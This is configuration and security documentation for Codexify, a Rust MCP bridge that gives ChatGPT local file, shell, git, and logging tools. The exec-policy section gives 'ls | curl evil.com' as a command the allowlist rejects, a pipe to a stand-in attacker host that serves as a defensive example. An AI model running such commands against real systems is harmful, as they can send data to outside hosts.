The default tracing level is info. Every completed call names the downstream tool and, for a direct, gateway, or catalog-discovered MCP call, the resolved raw upstream server and tool. -v uses codexify=debug,rmcp=warn, which adds tool-start events, hashed conversation/project context, argument field names, duration, and output accounting without dumping payloads. -vv uses Codexify trace while keeping rmcp suppressed and adds the fully redacted argument-shape summary. An explicit RUST_LOG value takes precedence over these defaults, but rmcp protocol-internal events remain blocked because they may contain unbounded model or user content:

codexify -v --work-dir /path/to/project
RUST_LOG=codexify=trace,rmcp=warn codexify --work-dir /path/to/project

Actual tool requests and responses are a separate opt-in. It applies uniformly to native tools and all MCP exposure modes, rather than special-casing shell execution:

# Log both sides with the default 2 KiB request / 4 KiB response limits.
codexify --work-dir /path/to/project --log-tool-payloads

# Log requests only with a larger preview and an additional local secret value.
codexify \
  --work-dir /path/to/project \
  --log-tool-payloads=requests \
  --tool-log-max-request-bytes 8192 \
  --tool-log-redact-env PRIVATE_REPOSITORY_TOKEN

# Put the same paired events at debug severity.
codexify --work-dir /path/to/project --log-tool-payloads --tool-log-level debug

Every enabled mode emits exactly one start and one completion event with the same server-wide monotonic call_id; when audit JSONL is also enabled, it receives that same ID even under concurrent dispatch. The request and response toggles control payload inclusion independently without removing the lifecycle record. Completion includes status and duration_ms. Payload fields contain compact JSON previews, an observed serialized byte count, whether that count is exact, and explicit truncation and serializer-failure flags. When exact size is available, the event also reports the omitted byte count. Serialization stops as soon as the configured prefix budget is full, then appends ...[truncated]... at a UTF-8 boundary. It does not clone, traverse, or serialize the unseen remainder merely to measure it.

Short representative events look like this (timestamps and unrelated tracing fields omitted):

INFO codexify::tool_payload: tool invocation started call_id=12 phase="start" tool="read_file" resolved_tool="read_file" status="started" request="{\"path\":\"src/lib.rs\"}"
INFO codexify::tool_payload: tool invocation completed call_id=12 phase="finish" tool="read_file" resolved_tool="read_file" status="ok" duration_ms=2 response="{\"content\":[{\"type\":\"text\",\"text\":\"...\"}],\"isError\":false}"
INFO codexify::tool_payload: tool invocation started call_id=13 phase="start" tool="mcp_call_tool" resolved_tool="mcp:IDA MCP/decompile_function" mcp_server="IDA MCP" mcp_tool="decompile_function" status="started" request="{\"source\":\"ida_mcp\",\"tool\":\"decompile_function\",\"arguments\":{\"address\":\"0x81000000\"}}"

MCP arguments and structured results are serde_json::Value, so null, arrays, maps, and scalar JSON values retain their compact structure; undefined values, circular references, and other non-JSON runtime objects cannot cross this Rust boundary. An unexpected serialization failure produces a bounded [unserializable payload] marker and cannot change the tool result. MCP image content blocks are represented only by MIME type and base64 byte count; their base64 data is never written to these logs. Resource links retain redacted descriptive metadata but replace the URI with an omission marker and its byte count, so opaque download capabilities are not persisted.

MCP dispatchers also emit resolved_tool, mcp_server, and mcp_tool. These contain the raw configured server name and raw upstream tool name even when the downstream capability is a generic gateway or mcp_call_tool; model-visible catalog IDs remain available in the request preview. The ordinary info-level completion event carries the same resolved identity even when payload logging is disabled.

Payloads are redacted lazily before their bytes reach the bounded serializer. Codexify removes configured API/conversation credentials, credential-labelled and nontrivial MCP environment/HTTP-header values, resolved MCP bearer/header environment variables, the OpenAI tunnel key when readable, common secret-bearing process environment variables, values named through toolLogging.redactEnv / --tool-log-redact-env, input fields marked writeOnly or format: "password" by the tool schema, secret/checksum-labelled JSON fields, signed native-file download_url and file_id values, signed-URL query parameters, and common command-line/header credential syntax. This is defense in depth, not proof that arbitrary source text or tool output contains no unknown sensitive literal. JSON has no raw byte-buffer type, so image blocks and resource capabilities receive explicit safe representations; an application-specific base64 string in an otherwise ordinary text field is inside the operator trust boundary. Tool payload logging is therefore disabled by default and should be treated as sensitive operational data.

The toolLogging config block provides the same controls:

Key	Default	Description
mode	"off"	off, requests, responses, or all
level	"info"	Event severity: trace, debug, info, warn, or error
maxRequestBytes	2048	Maximum UTF-8 bytes retained from each redacted request; accepted range is 64-65536
maxResponseBytes	4096	Maximum UTF-8 bytes retained from each redacted response; accepted range is 64-65536
redactEnv	[]	Environment-variable names whose current values must be removed from payloads

CLI mode, level, and byte-limit options replace their corresponding config values. Repeated --tool-log-redact-env values are merged with toolLogging.redactEnv so a CLI invocation cannot accidentally remove configured redactions. Payload events use the codexify::tool_payload tracing target at the selected level, so an explicit restrictive RUST_LOG filter can suppress them without incurring payload serialization work; when that happens, the ordinary info-level completion event remains available. Events go through the tracing subscriber (stdout in the HTTP server); they are never written to a bridged upstream's protocol pipe or to the downstream Streamable HTTP response. --log-tool-calls is equivalent to -v; it does not enable payload logging.

Audit logging is separate from diagnostic tracing and is disabled unless a file is configured:

codexify \
  --work-dir /path/to/project \
  --audit ~/.codexify/audit/tools.jsonl

The append-only JSONL stream begins with audit_started, which identifies the server version, OS process, random run ID, and command-preview policy, then emits schema-version-2 tool_start and tool_finish records. Tool records carry an RFC 3339 timestamp, monotonic call ID, transport-session ID, hashed ChatGPT conversation and project identifiers, downstream and resolved tool identities (including raw MCP server/tool names), duration, status, argument shape, returned byte/token counts, truncation status when the tool can report it, and resident exec_command session/PID metadata. Argument summaries include only fields declared by the tool's input schema; unknown keys and dynamic maps are counted but their key names are omitted. Raw conversation identifiers, project paths, scalar argument values, image data, structured output, and returned text are not written.

Command previews are a separate opt-in because shell commands can contain credentials, source code, paths, and environment values:

codexify \
  --work-dir /path/to/project \
  --audit ~/.codexify/audit/tools.jsonl \
  --audit-command-preview \
  --audit-redact-env GITHUB_TOKEN

Before a preview is written, Codexify replaces the local MCP bearer, the configured conversation-authentication token, configured MCP-server environment values, the referenced OpenAI tunnel key when readable, values named by audit.redactEnv / --audit-redact-env, common secret-bearing process environment variables, and common --token, API_KEY=…, and Bearer … forms. The preview is then capped at commandPreviewMaxBytes. This is defense in depth, not a proof that an arbitrary command contains no sensitive literal; leave previews disabled when command text itself is sensitive.

The audit config block has the same controls:

Key	Default	Description
logFile	null	JSONL destination; a relative path resolves from the launch directory. Setting it enables auditing
includeCommandPreview	false	Include bounded, redacted exec_command previews
commandPreviewMaxBytes	512	Maximum UTF-8 byte length of a command preview; accepted range is 1-16384
redactEnv	[]	Environment-variable names whose current values must be removed from previews

--audit replaces audit.logFile; --audit-command-preview only enables previews; and repeated --audit-redact-env values are merged with audit.redactEnv so a CLI invocation cannot accidentally remove configured redactions.

Startup fails if an enabled audit file cannot be opened safely. On Unix, newly created files use mode 0600, symbolic-link targets are rejected, and an existing file with group/other permission bits is rejected. A later append or flush error is emitted as an error-level diagnostic without changing the result of a tool that may already have had side effects.

This is an operational activity log, not a tamper-evident security boundary. Model-launched commands run as the same OS user and can modify any audit file they can locate and access. Keep the file outside the project access root, restrict its directory permissions, and forward it to a separately protected collector when independent evidence is required.

The openaiTunnel block enables OpenAI's native outbound tunnel:

Key	Default	Description
tunnelId	required	Existing tunnel_… identifier from OpenAI Platform
apiKeyRef	"env:CONTROL_PLANE_API_KEY"	Runtime API-key reference. Only env:NAME and file:/path are accepted; literal keys are rejected
clientPath	verified managed runtime	Explicit official tunnel-client or tunnel-client-runtime binary. Relative paths resolve from the launch directory
organizationId	-	Optional organization ID passed as OpenAI-Organization by the official client

The quickstart command writes its runtime key to
~/.codexify/openai-tunnel/credentials/<tunnel-id>.key and sets apiKeyRef to
that absolute file: path. It never writes the key itself into
codexify.config.json; on Unix, the credential directory is mode 0700 and the key
file is mode 0600.

Native mode deliberately cannot be combined with a caller-supplied apiKey / --api-key: Codexify generates a high-entropy bearer token for the loopback MCP hop and injects it into the tunnel runtime through static MCP and discovery headers. Host validation is forced to loopback authorities and permissive browser CORS is disabled.

The OpenAI runtime key authenticates the outbound control-plane connection. Codexify resolves the configured env:NAME or file:/path reference once, passes the value to the tunnel child under a private synthetic environment name, and removes the original environment variable from model-launched commands and bridged MCP children. The tunnel runtime starts with a small allowlist of ordinary OS variables rather than inheriting tunnel-client configuration, proxy, header, or trust-store overrides from the launching shell. On Unix, a referenced key file must not be readable by group or other users. These measures prevent accidental inheritance; they do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.

The top-level multiProject key is the config-file equivalent of --multi-project. In that mode the process reads one static codexify.config.json; project selection changes the effective work directory used by project-scoped tools, not the server configuration itself. The native Codex project table is the exception to the startup snapshot: list_projects rereads it on every call so newly trusted projects become discoverable without restarting Codexify. ChatGPT conversation bindings are independent of the memory block and are enabled even when memory.enabled is false.

projectCloneDir selects where set_project_root places a repository requested by Git URL but lacking a matching local checkout. It defaults to the multi-project access root (--work-dir); a relative value is resolved against that access root, while --project-clone-dir overrides the file setting. The directory must already exist, must be a directory, and must canonicalize to the access root or one of its descendants. The destination follows normal git clone naming (<projectCloneDir>/<repository-name>); an unrelated file or checkout at that path is never overwritten. Provider-agnostic repository URLs clone their default checkout. GitHub branch URLs clone the named branch when a repository must be created, while PR and commit URLs clone the repository and then detach at the fetched target commit.

The worktrees block controls isolation between conversations selecting the same Git project:

Key	Default	Description
mode	"auto"	"auto" lets the first conversation use the selected checkout and gives later conversations managed worktrees; "always" isolates every conversation; "never" uses the selected checkout directly
root	Codex worktree location	Parent directory for managed worktrees; overridden by --worktree-root
upstreamRefreshMode	Codex setting or "never"	"best-effort" refreshes a tracked upstream before worktree creation without making fetch failure fatal
autoCleanupEnabled	Codex setting or true	On startup, remove old unreferenced worktrees only when their working trees are clean
keepCount	Codex setting or 15	Number of newest unreferenced managed worktrees retained before cleanup candidates are considered
allowSetupScript	false	Whether a worktree's Codex environment setup script may run on creation. This executes an arbitrary command outside the exec policy, and both the environment file and its script path are selectable through the source repository's local Git config, so an untrusted project could otherwise plant a script that runs on the next binding. Leave it off unless every project reachable by this server is trusted to run arbitrary setup commands

When these values are absent, Codexify reads Codex Desktop's [desktop] worktree settings from $CODEX_HOME/config.toml, including git-worktree-root, worktree-upstream-refresh-mode, worktree-auto-cleanup-enabled, and worktree-keep-count. The final location falls back to $CODEX_HOME/worktrees (normally ~/.codex/worktrees).

The exec block governs exec_command and write_stdin:

Key	Default	Description
mode	"unrestricted"	"unrestricted" runs whatever it is given; "allowlist" opts into checking every command in the string against extraAllowedCommands
extraAllowedCommands	[]	Complete executable allowlist when mode is "allowlist"; ignored by unrestricted mode
maxSessions	8	Cap on concurrent background sessions per ChatGPT conversation, or per MCP transport for clients without conversation metadata
idleTimeoutMs	300000	Milliseconds without a tool interaction before a resident process is killed and forgotten; 0 disables idle expiry
defaultShell	$SHELL, else PowerShell on Windows and /bin/sh elsewhere	Shell used when an exec_command call names none

Under "allowlist", the command string is tokenized and each command position — after every |, &&, ;, newline, and subshell — is checked, so ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright, since its contents cannot be checked before the shell runs them.

The ignore block decides what the file-walking tools — glob, grep, tree and list_directory — never surface, so a search returns your code rather than the contents of node_modules. One policy covers all four, backed by the Rust ignore crate for .gitignore-accurate matching:

Key	Default	Description
useGitignore	true	Read the work directory's .gitignore and .git/info/exclude, so a file the repo ignores stays out of results
useDefaultPatterns	true	Skip a built-in set (node_modules, .git, dist, build, out, .next, .nuxt, .svelte-kit, .turbo, coverage, __pycache__, .venv, venv, .cache)
customPatterns	[]	Extra gitignore-syntax patterns applied on top for every tool

Patterns use .gitignore syntax. node_modules and .git are pruned from every walk no matter what, so a search never pays to descend them even with everything else turned off. tree.ignore applies to all four walking tools. list_directory pointed directly at an ignored directory shows its contents, so an ignored directory can be inspected explicitly.

The projectDoc block governs AGENTS.md discovery. All three keys are optional, and the block itself can be left out entirely:

Key	Default	Description
maxBytes	32768	Byte budget shared by all the docs found; 0 disables the feature
fallbackFilenames	[]	Extra filenames to try per directory, after AGENTS.override.md and AGENTS.md
rootMarkers	[".git"]	Filenames or directories that mark the project root; an empty list stops the walk at the work directory

The output block bounds what a single tool call may return. See Context and memory:

Key	Default	Description
maxToolOutputTokens	10000	Approximate token ceiling applied independently to textual content and structuredContent visible to the model. Call-level command budgets may lower it but cannot raise it
maxFileLines	1000	Lines read_file returns per call; a caller's own limit can lower this but not raise it
maxFileBytes	131072	Byte ceiling for the same window, which is what actually bounds a minified file
maxEntries	500	Results per glob, grep, or list_directory call
maxTreeNodes	1000	Nodes in one tree walk, counted across the whole tree rather than per directory

The diff block bounds presentation without changing checkpoint semantics. The former review key remains accepted as a compatibility alias:

Key	Default	Description
maxPatchBytes	4194304	Largest complete binary-capable patch attached to the diff widget's component-only result metadata. The 4 MiB default is regression-tested with 10,000 changed code lines of roughly 300 bytes each; unusually long lines and large binary patches can still exceed it. A larger patch is omitted rather than cut mid-hunk, while file metadata and aggregate statistics remain available. 0 disables patch bodies

The artifactIngress block governs native host-file ingress:

Key	Default	Description
enabled	true	Expose import_host_file; false removes the tool from tools/list
maxFileBytes	104857600	Maximum downloaded bytes per file (100 MiB, approximately 104.9 MB), enforced from both declared and streamed size
requestTimeoutMs	120000	Whole import deadline, including network transfer and publication
idleTimeoutMs	30000	Maximum wait between response-body chunks; must not exceed requestTimeoutMs
maxRedirects	3	Maximum manually validated redirects, between 0 and 10
maxConcurrentDownloads	2	Process-wide concurrent import cap, between 1 and 16
allowedHosts	["*"]	Host patterns a download URL and every redirect hop must match. "*" accepts any public HTTPS host while rejecting internal/reserved addresses (loopback, private, link-local, unique-local, CGNAT, localhost, cloud metadata). A bare host (files.example.com) matches exactly; a leading dot (.example.com) matches that host and its subdomains; an explicitly named host is trusted as given, including an internal one

The artifactEgress block governs native host-file egress and the opaque capabilities used to proxy resource links returned by bridged MCP servers:

Key	Default	Description
enabled	true	Expose export_host_file and allow bridged upstream resource_link results to be proxied; false removes the native export tool and leaves bridged resource links unavailable
maxFileBytes	104857600	Hard maximum bytes read or returned for one native exported resource or one proxied upstream resource (100 MiB, approximately 104.9 MB). Native export and fallback reads enforce it before and during streaming; bridged links reject an oversized advertised size and re-check actual returned content
snapshotMaxFileBytes	104857600	Maximum native source size eligible for an immutable disk snapshot (100 MiB, approximately 104.9 MB). A file above this threshold can still use durable source-backed mode when it remains within maxFileBytes
maxSnapshotBytes	5368709120	Global per-user byte budget for immutable native snapshots under ~/.codexify/artifacts/snapshots (5 GiB, approximately 5.37 GB). Least-recently-used snapshots are evicted before new ones are published; their durable records remain
fallbackToSource	true	When a native immutable snapshot was not stored or has been evicted, resolve the old capability from the latest safe version at its recorded project-relative path. false makes such resources unavailable instead
maxReferences	64	Maximum live opaque references for bridged upstream resources, between 1 and 1024; native exported-file records are durable and are not subject to this count
referenceTtlMs	300000	Lifetime of bridged upstream resource capabilities after the producing tool call (5 minutes). Native exported-file capabilities do not use this TTL

The former maxCachedBytes key is accepted and ignored for configuration-file compatibility. Replace it with maxSnapshotBytes; it no longer limits an in-memory native payload cache because that cache no longer exists.

The memory block governs remember, recall and the plan update_plan saves:

Key	Default	Description
enabled	true	false turns persistence off entirely; nothing is read or written
dir	~/.codexify/projects/<name>-<hash of work-dir>	Where the state file lives. Outside the repository by default. In multi-project mode, an explicit dir is treated as a base directory and each selected project gets its own hashed child directory
maxBytes	16384	Budget for all notes together. A note over it is rejected, not silently evicted

The skills block governs SKILL.md discovery. See Skills:

Key	Default	Description
enabled	true	false searches nothing; both tools say so and the catalogue leaves instructions
dirs	~/.agents/skills, ~/.codex/skills, ~/.claude/skills	User-scope directories, replacing the home-directory defaults. Relative paths resolve against the work directory; project-scope roots are unaffected
includePlugins	true	Discover enabled installed OpenAI Codex and Claude Code plugin skills. Setting dirs disables this unless you set it back to true

The codexMcp block controls automatic import of MCP servers configured in Codex:

Key	Default	Description
enabled	true	Import Codex MCP servers (direct config.toml parsing plus CLI discovery); false disables only MCP-server import — project catalogue discovery is unaffected — unless the explicit --codex-cli requirement overrides it
useCli	true	Enrich direct config parsing with codex mcp list/get --json, which includes MCP servers contributed by enabled Codex plugins. false keeps direct config.toml parsing but does not invoke Codex
cliPath	CODEX_CLI_PATH, then codex on PATH	Codex executable used for CLI enrichment. Relative paths resolve from the directory where Codexify was launched

The projectCatalog block controls project discovery in multi-project mode. It is independent from codexMcp: disabling imported MCP servers does not disable native project discovery, and vice versa.

Key	Default	Description
codexConfig.enabled	true	Read the top-level native Codex [projects] table as one candidate provider
codexConfig.trustedOnly	true	Include only native entries whose trust_level is "trusted"; this is a discovery filter, not the Codexify authorization boundary
entries	[]	Optional explicit paths and semantic metadata. An entry may augment an imported path or add a path absent from native Codex, but it cannot escape --work-dir

Each entries element supports:

Key	Required	Description
path	Yes	Absolute path or a path relative to the access root
name	No	Display name; defaults to the canonical directory basename
aliases	No	Additional case-insensitive intent-matching names
description	No	Short explanation of the project's purpose, searched by list_projects

For example:

{
  "multiProject": true,
  "projectCatalog": {
    "codexConfig": {
      "enabled": true,
      "trustedOnly": true
    },
    "entries": [
      {
        "path": "codexify",
        "name": "Codexify",
        "aliases": ["ChatGPT MCP bridge"],
        "description": "Rust MCP bridge exposing local programming tools to ChatGPT"
      }
    ]
  }
}

Metadata overlays are merged by canonical path. Explicit entries are operator-authored providers in their own right, so they may include a path that native Codex marks untrusted or does not record; they cannot widen the access-root boundary. Aliases are deduplicated case-insensitively, and aliases shared by different projects produce a warning because they make intent matching ambiguous. Catalogue construction never opens a candidate's README, source, .codex/, or AGENTS.md; project contents remain unread until the conversation has selected that project.

Git URL selection is separate from catalogue listing. Before cloning, Codexify checks the normal destination, catalogue candidates, and immediate child directories of projectCloneDir, then compares normalized remotes at each Git top level. Exactly one match is reused; multiple matches are rejected as ambiguous so the caller can pass an explicit path. Provider-agnostic repository selection accepts HTTPS URLs such as https://gitlab.com/group/repository.git, SSH URLs such as ssh://[email protected]/group/repository.git, and SCP-style SSH URLs such as [email protected]:group/repository.git. Non-GitHub selections must end in .git, which avoids treating arbitrary provider web pages as repositories; an already-cloned matching remote may omit that suffix. GitHub additionally accepts repository-root URLs without .git plus HTTPS branch (/tree/<branch>), pull-request (/pull/<number>), and commit (/commit/<sha>) URLs. For branch URLs, everything after /tree/ is interpreted as the branch ref, including / characters. Commit URLs require the full 40-character hexadecimal object ID and normalize it to lowercase. Credential-bearing HTTPS URLs, query strings, fragments, file://, HTTP, git://, and other transports are rejected.

The openaiTunnel block, allowedHosts array, and mcpServers map are covered under Native OpenAI tunnel, Host allowlist, and Bridging other MCP servers.

Native host-file ingress

ChatGPT attachments and generated files live in host-managed storage, not automatically on the machine running Codexify. import_host_file closes that gap:

user attaches or ChatGPT generates a file
        ↓
the agent calls import_host_file(file, path)
        ↓
ChatGPT supplies a temporary authorized native-file value
        ↓
Codexify streams the exact bytes into the active project

The file argument follows ChatGPT's native file-parameter contract and is marked through _meta["openai/fileParams"]; the model does not pass an arbitrary URL. path is a required new file path relative to the active project or managed worktree. The destination is invisible until the complete download has passed its size and integrity checks, and an existing file or symlink is never replaced.

Source and destination authority are deliberately narrow:

• only HTTPS URLs are accepted, constrained by the configurable artifactIngress.allowedHosts allowlist and revalidated on every redirect hop; the default "*" wildcard admits any public host but always rejects internal and reserved targets (loopback, private, link-local, unique-local, CGNAT, localhost, the cloud metadata address), so an injected URL cannot reach internal services;
• proxy environment variables, caller-supplied headers, cookies and ambient credentials are not used;
• the temporary signed URL and file ID are never returned or persisted, and RMCP framework events are excluded from the tracing layer so RUST_LOG cannot expose native-file arguments before tool dispatch;
• destination traversal and symlink escapes are confined through a capability-based directory handle rather than a lexical path check alone;
• bytes are written to a private same-directory partial, hashed with SHA-256, synchronized, and atomically published through a no-overwrite hard link;
• archive extraction, execution, arbitrary URL fetching and arbitrary local-source paths are outside this tool's contract.

After publication, the result is an ordinary project file. Git, glob, tree, diff tools and normal deletion provide its catalogue and lifecycle; Codexify does not maintain a second artifact database or TTL.

Native host-file egress

Machine-local paths are not downloadable by ChatGPT, and returning a large binary file as base64 text would put the encoded payload into the tool result and model context. export_host_file instead uses MCP's resource flow:

the agent creates or selects a project file
        ↓
the agent calls export_host_file(path)
        ↓
Codexify safely opens and hashes the file, then retains an immutable disk snapshot when eligible
        ↓
the tool returns a standard MCP resource_link with an opaque codexify://artifact/... URI
        ↓
the connector host resolves that durable URI through resources/read and receives a base64 blob resource

The returned resource describes the original filename, MIME type and byte count. The structured receipt includes the project-relative source path, original SHA-256 digest, whether an immutable snapshot was stored, and whether source fallback is enabled. It deliberately does not duplicate the bearer-capability URI into ordinary structured data, never exposes an absolute filesystem path, and never asks the model to copy the file contents through text.

Native exported-file capabilities and their metadata survive MCP transport replacement and Codexify restarts. Each record is stored privately under ~/.codexify/artifacts/records; eligible files also receive an immutable snapshot under ~/.codexify/artifacts/snapshots. The default snapshot eligibility threshold is 100 MiB and the global per-user snapshot budget is 5 GiB. Snapshot insertion and least-recently-used eviction are serialized across Codexify processes, so separate projects and service instances share one bounded pool rather than each reserving 5 GiB.

While the immutable snapshot remains available, the capability always serves the exact original exported bytes even if the project file is later replaced, truncated, deleted or retargeted. Reading a retained snapshot refreshes its LRU position. Eviction removes only the snapshot, not the durable capability record. With the default fallbackToSource: true, a snapshot-less capability then serves the latest safe version at the recorded project-relative path. The fallback recreates the original capability boundary, revalidates the recorded project-root identity where the platform supports it, refuses traversal and symlink/reparse-point escapes, requires a regular file, and reapplies maxFileBytes. If both the immutable snapshot and a permitted source fallback are unavailable, resources/read returns resource_not_found.

Each URI contains a random 256-bit bearer capability. Issued native resources are never added to resources/list and have no short default TTL; the small durable records remain so old ChatGPT conversation attachments can resolve after a restart or snapshot eviction. Snapshot payloads live on disk rather than in an application-managed RAM cache, while repeated reads still benefit from the operating system page cache. maxReferences and referenceTtlMs continue to bound only opaque capabilities returned by bridged upstream MCP servers, because those references depend on a live upstream peer and cannot survive process replacement safely.

Multi-project mode

By default the server is pinned to one project: --work-dir is the project root, and every project-scoped tool resolves against it. Multi-project mode turns --work-dir into an access root instead — a directory beneath which each conversation selects its own project — so a single running server can serve many repositories without a process per repo.

Enable it with --multi-project or "multiProject": true (see CLI flags and Config file). One static codexify.config.json is read at startup; selection changes only the effective work directory the project tools use, never the server configuration itself.

Each conversation binds a project exactly once, through the set_project_root tool. When neither an exact path nor an exact supported Git repository URL is known, list_projects provides a project-independent enumeration step first:

• The path is relative to the access root or absolute, but its canonical target must be an existing directory inside that root. Traversal (..) and symlink escapes are rejected after canonicalisation, so a link pointing outside the root cannot smuggle a selection past the check.
• A Git repository URL is normalized into a conservative remote identity. Non-GitHub selections accept HTTPS/SSH URLs ending in .git; conventional hosting-service SSH remotes such as git@host:group/repository.git match their HTTPS equivalent, while arbitrary SSH users and custom-port endpoints remain distinct. GitHub repository roots retain their existing shorthand forms and may also carry an exact branch, PR, or commit target. Codexify first reuses an unambiguous matching local Git top level. Otherwise it serializes concurrent requests for that repository, runs non-interactive git clone into a private temporary directory below projectCloneDir, verifies the resulting remote, and publishes it at <projectCloneDir>/<repository-name>. Name collisions fail rather than overwrite data.
• Branch URLs fetch refs/heads/<branch>; PR URLs fetch GitHub's refs/pull/<number>/head; commit URLs fetch the exact full object ID. A fresh branch clone checks out the named branch, while fresh PR and commit clones detach at the selected commit. For an existing checkout, target fetching does not switch, reset, or otherwise move its HEAD.
• The binding belongs to the ChatGPT conversation, keyed from _meta["openai/session"] (the raw identifier is hashed, never stored), so simultaneous chats can hold different projects and a later turn recovers its own root after MCP reconnects or a server restart. A client that sends no ChatGPT conversation metadata falls back to a binding that lasts only the current MCP transport session.
• With the default worktree mode, the first conversation selecting a Git project uses the source checkout directly. Once that logical project is already assigned, another conversation receives a detached managed worktree under the configured Codex worktree location, preventing concurrent chats from editing the same checkout. A branch, PR, or commit URL also receives a detached worktree when the existing source checkout is on another commit. always isolates every selection; never uses the source directly and therefore rejects a targeted URL unless that source is already at the requested commit.
• Worktree identity uses the repository's Git common directory plus the selected path relative to its Git root. Linked worktrees are therefore recognised as the same repository, while separate subprojects in a monorepo remain distinct.
• A conversation cannot switch roots once bound — start another chat for a different project. Re-selecting the same canonical path or exact normalized repository selection is idempotent. A different repository, branch, PR, or commit URL is rejected before any clone or fetch begins.
• Until a root is selected, project-scoped tools are unavailable and say why. list_projects and set_project_root are the two project-independent tools present for this workflow.

Project catalogue semantics

Native Codex records trust decisions in its user-level configuration:

[projects."/absolute/path/to/project"]
trust_level = "trusted"

Codexify reads those paths as candidates. It does not treat the table as exhaustive: entries may be stale, may represent separate worktrees, and contain no semantic description beyond the path. Explicit projectCatalog.entries can therefore add aliases/descriptions or supply projects absent from the native table.

Every candidate passes Codexify's own checks. Its path must exist, resolve to a directory, and canonicalize to the access root itself or a descendant; missing entries, files, and symlink escapes are skipped, while duplicate canonical targets are merged into one candidate. Native Codex trust is only catalogue metadata plus the default trustedOnly filter. It never grants Codexify access to a path outside --work-dir, and an explicit catalogue entry does not widen that boundary either.

list_projects returns a selector relative to the access root, which can be passed unchanged as set_project_root.path. Its optional query matches names, aliases, descriptions, and selectors case-insensitively with deterministic exact/prefix/substring ranking. The tool never binds automatically. If several results remain plausible, the agent instructions require asking the user rather than guessing, because a wrong binding cannot be changed in that conversation.

The native table is read live for every list_projects call. The file is read-only, the codex executable is not required, and project-local .codex/config.toml layers are not scanned because they are meaningful only after a project has been selected.

Per-conversation separation extends to saved state: with an explicit memory.dir, each selected project gets its own hashed child directory (see the memory block), and conversation bindings stay enabled even when memory.enabled is false. The end-to-end onboarding flow — select, then request the brief — is in Starting a chat.

To clear a stray binding, delete its file under ~/.codexify/conversation-projects/; there is no tool to re-point an already-bound conversation. A managed worktree remains referenced while that binding exists. Startup cleanup skips referenced or dirty worktrees and only removes older clean, unreferenced entries beyond keepCount.

Diff checkpoints and ChatGPT UI

Diff state is initialized immediately before the first project-scoped tool call for a conversation or generic MCP transport. That timing captures the checkout as the agent first sees it, before a write, formatter, generator, or shell command can change it. Mutating tool calls and show_diff are serialized for the same owner and project through tool completion, so the incremental cursor cannot advance over a partially completed write. A resident exec_command process may continue changing files after its initiating call returns, so every diff remains a point-in-time snapshot. Non-Git projects remain usable; inside a Git worktree, a snapshot failure blocks mutating tools rather than silently losing the baseline. Two baselines are maintained:

• project open is immutable and shows the complete task diff;
• last diff records the most recent snapshot emitted by show_diff, so the next default diff is incremental.

show_diff accepts since: "last_diff" | "project_open", advance, and include_patch. By default it records the emitted snapshot as the next incremental baseline; advance=false leaves that cursor unchanged. This bookkeeping is connector-private: the tool remains annotated read-only because it does not modify project files, Git history, user-owned data, or external systems. The ordinary model-visible diff result is a concise aggregate summary and deliberately has no structuredContent. Compatible MCP Apps receive bounded file records, rename sources, binary markers, warnings, and the complete unified binary patch through namespaced result _meta, which ChatGPT forwards to the component without adding it to model context. Oversized patches are omitted explicitly rather than returned as invalid partial hunks.

Snapshots use Git objects, but they do not touch the real index or working tree. Codexify builds a private temporary index containing only the logical project root, then carries the same literal pathspec through every comparison. If the selected project is packages/app inside a monorepo, sibling changes under packages/other cannot enter its checkpoint or diff. Paths in the component-only diff payload are relative to the selected project, not the repository root.

With ChatGPT's stable _meta["openai/session"], each conversation/project scope stores exactly two namespaced refs under:

refs/codexify/diff/<project-hash>/<conversation-hash>/project-open
refs/codexify/diff/<project-hash>/<conversation-hash>/last-diff

The raw conversation identifier is never written. The refs survive MCP reconnects and Codexify restarts. Generic MCP clients receive transport-local in-memory checkpoints instead. Each conversation/project pair retains only its current two referenced snapshots; unreferenced synthetic commits are ordinary Git-GC candidates. To inspect or remove current refs manually, use git for-each-ref refs/codexify/diff/ and git update-ref -d <ref>. Removing both refs resets that owner to the current scoped state on its next project call. Existing refs/codexify/review/.../project-open and .../last-review refs are copied lazily into the diff namespace and retained so installations from the current review-named surface keep their checkpoints.

Codexify advertises the standard MCP Apps extension and serves a self-contained diff resource at ui://codexify/diff/v3/mcp-app.html. Compatible ChatGPT developer connectors render show_diff as the interactive GitHub-style file/statistic/patch card from component-only result metadata; the component is model-visible but is not granted app-side tool access. Other clients receive the concise text result. Existing review metadata and the v3, v2, and unversioned ui://codexify/review/... resources remain readable so existing cards can remount, while current show_diff results emit only the diff-named metadata. Expansion state is persisted as private widget state, including migration of reviewOpen to diffOpen. Cursor advancement completes before the result is returned and never waits for widget interaction, and the card updates at the show_diff tool-call boundary rather than continuously watching the filesystem.

Context and memory

Codexify bounds model-visible tool output and persists task state so long-running work can continue across context limits and conversations.

Spend the window on less. Every non-self-managed tool result passes through a 10,000-token model-output ceiling by default. The policy covers both textual content and model-visible structuredContent; component-only result _meta remains outside model context. File and list tools stop at their semantic paging boundaries and name the argument that continues from where they stopped:

(showing lines 1-1000 of 4820 — call again with offset=1000 for the rest)

That line matters as much as the cap. Silent truncation reads as "that was the whole file", which is worse than no cap at all. read_file has a byte ceiling as well as a line one, because a minified bundle is a single line several megabytes long that a line cap alone would hand back in full. grep additionally caps context, match count and individual lines while preserving the actual match inside a long minified line. exec_command and write_stdin keep Codex's 10,000-token default but clamp larger requests to server policy. Oversized arbitrary structuredContent becomes a bounded error requesting narrower arguments rather than invalid partial JSON.

Keep what would be expensive to rediscover. remember creates one keyed note and refuses an existing key; update_memory_note replaces an existing note without creating a missing key; forget_memory_note deletes an existing note; recall hands back the notes and the current plan. update_plan persists too, so the plan survives the conversation that made it. Separating creation, replacement, and deletion gives each operation an accurate safety classification and prevents an empty string from doubling as an implicit delete command.

Task state lives in ~/.codexify/projects/<name>-<hash>/memory.json, keyed by the absolute active project root. Nothing is written into the repository you pointed the server at, and two checkouts of the same repo do not share notes. Multi-project conversations therefore share task state only when they select the same canonical project root.

ChatGPT project bindings live separately under ~/.codexify/conversation-projects/<access-root-hash>/<conversation-hash>.json. The raw openai/session value is never written to disk; only its SHA-256-derived key is used as the filename. Each small record contains the canonical access root and selected project root. Delete this directory to forget all conversation bindings. A missing or stale project fails closed rather than silently rebinding the conversation to another directory.

